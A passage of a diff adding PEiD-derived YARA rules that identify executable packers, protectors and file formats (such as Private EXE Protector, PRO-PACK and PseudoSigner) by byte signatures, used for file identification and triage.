+        $a = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05}
+    condition:
+        $a
+}
+
+rule PEiD_01762_Private_EXE_Protector_1_9_7____SetiSoft__h__
+{
+    meta:
+        description = "[Private EXE Protector 1.9.7 -> SetiSoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+    condition:
+        $a
+}
+
+rule PEiD_01763_Private_Exe_Protector_1_x____setisoft_
+{
+    meta:
+        description = "[Private Exe Protector 1.x -> setisoft]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? 90 01 ?? BE ?? 10 40 ?? 68 50 91 41 ?? 68 01 ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_01764_Private_EXE_Protector_2_0____SetiSoft_
+{
+    meta:
+        description = "[Private EXE Protector 2.0 -> SetiSoft]"
+        ep_only = "true"
+    strings:
+        $a = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01765_Private_exe_Protector_2_15____SetiSoft_Team_
+{
+    meta:
+        description = "[Private exe Protector 2.15 -> SetiSoft Team]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01766_Private_exe_Protector_V1_8X_V1_9X____SetiSoft_Team_
+{
+    meta:
+        description = "[Private exe Protector V1.8X-V1.9X -> SetiSoft Team]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_01767_Private_exe_Protector_V2_0____SetiSoft_Team___Sign_by_fly_
+{
+    meta:
+        description = "[Private exe Protector V2.0 -> SetiSoft Team ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01768_Private_EXE_v2_0a_
+{
+    meta:
+        description = "[Private EXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {53 E8 00 00 00 00 5B 8B C3 2D}
+    condition:
+        $a
+}
+
+rule PEiD_01769_Private_EXE_v2_0a_
+{
+    meta:
+        description = "[Private EXE v2.0a]"
+        ep_only = "false"
+    strings:
+        $a = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D}
+    condition:
+        $a
+}
+rule PEiD_01770_Private_Personal_Packer__PPP__1_0_2____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8}
+    condition:
+        $a
+}
+
+rule PEiD_01771_Private_Personal_Packer__PPP__1_0_2____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+    condition:
+        $a
+}
+
+rule PEiD_01772_Private_Personal_Packer__PPP__1_0_3____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.3 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+    condition:
+        $a
+}
+
+rule PEiD_01773_Private_Personal_Packer__PPP__v1_0_2_____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_01774_PrivateEXE_v2_0a_
+{
+    meta:
+        description = "[PrivateEXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+    condition:
+        $a
+}
+
+rule PEiD_01775_PrivateEXE_v2_0a_
+{
+    meta:
+        description = "[PrivateEXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B}
+    condition:
+        $a
+}
+rule PEiD_01776_PRO_MIDI_Music_file_
+{
+    meta:
+        description = "[PRO-MIDI Music file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 52 4D 49 44}
+    condition:
+        $a
+}
+
+rule PEiD_01777_PRO_PACK_v2_08__emphasis_on_packed_size__locked_
+{
+    meta:
+        description = "[PRO-PACK v2.08, emphasis on packed size, locked]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01778_PRO_PACK_v2_08_
+{
+    meta:
+        description = "[PRO-PACK v2.08]"
+        ep_only = "true"
+    strings:
+        $a = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+    condition:
+        $a
+}
+
+rule PEiD_01779_ProActivate_V1_0X____TurboPower_Software_Company___Sign_by_fly_
+{
+    meta:
+        description = "[ProActivate V1.0X -> TurboPower Software Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33}
+    condition:
+        $a
+}
+rule PEiD_01780_ProActivate_V1_0X____TurboPower_Software_Company_
+{
+    meta:
+        description = "[ProActivate V1.0X -> TurboPower Software Company]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D}
+    condition:
+        $a
+}
+
+rule PEiD_01781_Program_Protector_XP_v1_0_
+{
+    meta:
+        description = "[Program Protector XP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+    condition:
+        $a
+}
+
+rule PEiD_01782_Protect_Shareware_1_1____eCompserv_CMS_
+{
+    meta:
+        description = "[Protect Shareware 1.1 -> eCompserv CMS]"
+        ep_only = "false"
+    strings:
+        $a = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01783_Protect_Shareware_V1_1____eCompserv_CMS_
+{
+    meta:
+        description = "[Protect Shareware V1.1 -> eCompserv CMS]"
+        ep_only = "false"
+    strings:
+        $a = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4A 00 76 00 77 00}
+    condition:
+        $a
+}
+
+rule PEiD_01784_PROTECT__EXE_COM_v5_0_
+{
+    meta:
+        description = "[PROTECT! EXE/COM v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 0E 1F 07}
+    condition:
+        $a
+}
+
+rule PEiD_01785_PROTECT__EXE_COM_v6_0_
+{
+    meta:
+        description = "[PROTECT! EXE/COM v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_01786_Protection_Plus_vx_x_
+{
+    meta:
+        description = "[Protection Plus vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+    condition:
+        $a
+}
+rule PEiD_01787_Protection_Plus_vx_x_
+{
+    meta:
+        description = "[Protection Plus vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 28 ?? ?? ?? 50 6A}
+    condition:
+        $a
+}
+
+rule PEiD_01788_Protector_v1_1_11__DDeM____PE_Engine_v0_9__DDeM____CI_v0_9_2__
+{
+    meta:
+        description = "[Protector v1.1.11 (DDeM -> PE Engine v0.9, DDeM -> CI v0.9.2)]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+    condition:
+        $a
+}
+
+rule PEiD_01789_PS_AdobeFont_v_1_0_
+{
+    meta:
+        description = "[PS-AdobeFont v.1.0]"
+        ep_only = "false"
+    strings:
+        $a = {80 01 ?? ?? 00 00 25 21 50 53 2D 41 64 6F 62 65 46 6F 6E 74 2D 31 2E 30 3A}
+    condition:
+        $a
+}
+
+rule PEiD_01790_pscrambler_1_2____by_p0ke_
+{
+    meta:
+        description = "[pscrambler 1.2 -> by p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC}
+    condition:
+        $a
+}
+
+rule PEiD_01791_pscrambler_1_2____by_p0ke_
+{
+    meta:
+        description = "[pscrambler 1.2 -> by p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65}
+    condition:
+        $a
+}
+
+rule PEiD_01792_PseudoSigner_0_1____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01793_PseudoSigner_0_1__32Lite_0_03_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [32Lite 0.03] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_01794_PseudoSigner_0_1__ACProtect_1_09______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 90 90 90 EB 06 00 00 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01795_PseudoSigner_0_1__ACProtect_1_09__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ACProtect 1.09]]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01796_PseudoSigner_0_1__Armadillo_3_00_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Armadillo 3.00] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01797_PseudoSigner_0_1__ASPack_2_xx_Heuristic__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ASPack 2.xx Heuristic]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+    condition:
+        $a
+}
+rule PEiD_01798_PseudoSigner_0_1__ASProtect_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ASProtect] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+    condition:
+        $a
+}
+
+rule PEiD_01799_PseudoSigner_0_1__Borland_Delphi_3_0______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a
+}
+rule PEiD_01800_PseudoSigner_0_1__Borland_Delphi_3_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 3.0]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01801_PseudoSigner_0_1__Borland_Delphi_5_0_KOL_MCK______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0E 00 90 90 90 90 90 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0A 00 00 00 90 90 90 90 90 00 00 00 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01802_PseudoSigner_0_1__Borland_Delphi_5_0_KOL_MCK__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01803_PseudoSigner_0_1__Borland_Delphi_6_0___7_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01804_PseudoSigner_0_1__CD_Cops_II_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [CD-Cops II] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+    condition:
+        $a
+}
+rule PEiD_01805_PseudoSigner_0_1__Code_Lock_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Code-Lock] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+    condition:
+        $a
+}
+
+rule PEiD_01806_PseudoSigner_0_1__CodeSafe_2_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [CodeSafe 2.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01807_PseudoSigner_0_1__Crunch_PE_Heuristic_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Crunch/PE Heuristic] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01808_PseudoSigner_0_1__DEF_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [DEF 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01809_PseudoSigner_0_1__DxPack_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [DxPack 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01810_PseudoSigner_0_1__ExeSmasher_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ExeSmasher] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+    condition:
+        $a
+}
+
+rule PEiD_01811_PseudoSigner_0_1__FSG_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [FSG 1.0] -> Anorganix]"
